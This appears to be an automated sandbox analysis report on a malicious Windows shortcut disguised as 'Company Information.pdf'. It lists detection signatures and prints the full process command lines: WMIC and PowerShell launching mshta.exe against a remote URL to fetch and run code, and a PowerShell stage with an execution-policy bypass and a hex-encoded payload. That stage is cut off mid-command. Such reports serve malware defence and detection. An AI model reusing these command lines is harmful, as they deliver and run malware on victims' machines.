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Windows
Analysis Report
Company Information.pdf.lnk
Overview
General Information
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Windows shortcut file (LNK) starts blacklisted processes
AI detected suspicious sample
Contains functionality to create processes via WMI
Creates processes via WMI
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Process Created Via Wmic.EXE
Suspicious powershell command line found
Uses an obfuscated file name to hide its real file extension (double extension)
Windows shortcut file (LNK) contains suspicious command line arguments
Binary contains a suspicious time stamp
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Classification
- System is w10x64
- WMIC.exe (PID: 6640 cmdline:
"C:\Window s\System32 \Wbem\wmic .exe" proc ess call c reate "pow ershell -w 1 powersh ell -Comma nd ('ms' + 'hta' + ' .exe ' + ' https://ev anbconsult ancy.com/S and/Buddy' )" MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - conhost.exe (PID: 5812 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 6376 cmdline:
powershell -w 1 powe rshell -Co mmand ('ms ' + 'hta' + '.exe ' + 'https:/ /evanbcons ultancy.co m/Sand/Bud dy') MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 5260 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 1240 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Command " mshta.exe https://ev anbconsult ancy.com/S and/Buddy" MD5: 04029E121A0CFA5991749937DD22A1D9) - mshta.exe (PID: 6912 cmdline:
"C:\Window s\system32 \mshta.exe " https:// evanbconsu ltancy.com /Sand/Budd y MD5: 0B4340ED812DC82CE636C00FA5C9BEF2) - powershell.exe (PID: 7496 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -w 1 -ep U nrestricte d -nop $dd g = '3A055 0E6F02FF19 F0D7D65ABA 4322B948E6 128C005B35 A41C185638 A3B71C4B03 3F6793763A 141FC2DF5F 78A32CFE93 FB3F106BBC 73BC0347EB 5117739EA6 BCDC712DC4 913AC95B23 1C44FD0E76 58E3CB7000 5CF09FB059 5EA559B761 32DAEB0D28 2BEEA68B55 E7A9BA44EF 8B45601264 C8696BD555 28EF1B9DD9 8948B27EC7 AB79A994DC E5DC246101 471E8511E4 4683A6A4FE 675F17184B 0F45DD710B 0F3E934D3E 87202452FB A857892530 000F7A72AA 942B3A7D21 5E363C31E4 39657BB692 997478E764 9840E3437D 9791C71EE2 B525FFBC5C 786EA290EE 8548D38794 A4901D3E34 E39A178B30 A8BCB2E9F7 7F8824F798 590E894BAA 701C583A6E E6499D5DF0 288032084F F43FA83E2C 5C6512028F 2396510D21 950EF4F2FB 6318F3A835 52C75935D4 092DEB0C6B 32CB3A99F0 963415214D 188C9BA0BF 5D41A7805B 5D549104E9 B78022BF15 FA2D704839 5767284235 F5312081A7 124F018F4E 91EACDBCCF 751A9F28FF 37CAF076B6 690F025C40 0C18E2BD9E 1A7BD3ED7F 7A96C28C15 F00B93909D F3C243E431 A52E02F105 C946283D2D 013B71935B 51194D17B7 BA69838617 48E298038C EAD85ED1B3 69523E084E 49C8D30900 FE651D1CA9 CE4AEBC5CA 07121E32BE D105B864D5 F70953DD58 446FBAF635 CA7BFB7575 7279A3990F B975F4A6CA 8319BCBB28 5862375238 FD47100971 3449C2B575 9EB614AB60 9037130BDD 0DF5A80E11 753BF15D37 0D14D9457E 1A29A143C2 993ABCEFC9 EBB18A41FD 7F01477B69 689096D79B 0C830798EE 3FDD6CCAA1 15FED76DA4 C183FA9145 AE93651949 67DBD48769 3C4F977EE4 623572CD65 340F824D90 3A9BEE74E5 67BA2A59D6 049158CA16 BAF1E740DC FF074D5B76 ACD69BD6E6 2C8FFE8ACB 399E025061 A2791DCAC3 9AD53DA9B9 5EBE3B0E8F 162CEDA33C A00F31C9EE 377C87715D 2EB5D1329B BA8D59E15D E0E867D91D 45FCE6A1C1 E307F17C1C 44415AC237 30598729B5 AF81791F4B D7DD68D59E 5463C9A238 BF8BA3D80F 58D15CBCBD 76A2244C69 35E83F51AE B529749508 568CDB60F2 84E5D4320E F0CF1DB2FB EC894A24FF 83258219EC 3A042E9EA4 B7B09A2D6B BF3BA837EF 69734C9433 0CC4312719 B08A8D97BE D4CA520D35 A041F982D7 1D75204AAE 0EA20B8D73 572E4BFF0E B5AC4F25EA 4DB8C036BC 8EABC00D57 9CC10384D0 9ABD62B02E 86C3A1C7F8 C862DE3364 811CAB68EB 1786B7786B C5725D3493 F05A15EAEE E2EE6686D9 1A9B01CBD4 C7885E2B19 6DAB366365 0F11D71EEE DB96A2AAF3 442EF119D0 5205B47F44 D7200C81C4 65F54C21EB C99FF2B965 79620097C6 13B589DD51 5E8CB8F323 0A889E2C63 85042EE85D 8032B14D1F 7031C085BA 84F4AF0C95 3A0070931B B3147C2D40 EA5E243095 22AE090CC3 3FD5B9A998 F2F88D262E BF6918701F 47BB35F236 B9AD77BEC3 181393A4E0 3153A5F978 106133C121 B91E124075 B26668FA32 D6D38C829E F61BA386E2 0E210F9B2F 8550F9D7F0 472F77303A 216FA96285 E529D264EF 798AC3EE22 6E25F6E9FD 15A30A8B19 93A229685B C002198BE9 99C694C754 5467374416 D7458766A5 25558';fun ction slF ($bNBDb){r eturn -spl it ($bNBDb -replace '..', '0x$ & ')};$rzZ JRI = slF( $ddg.SubSt ring(0, 22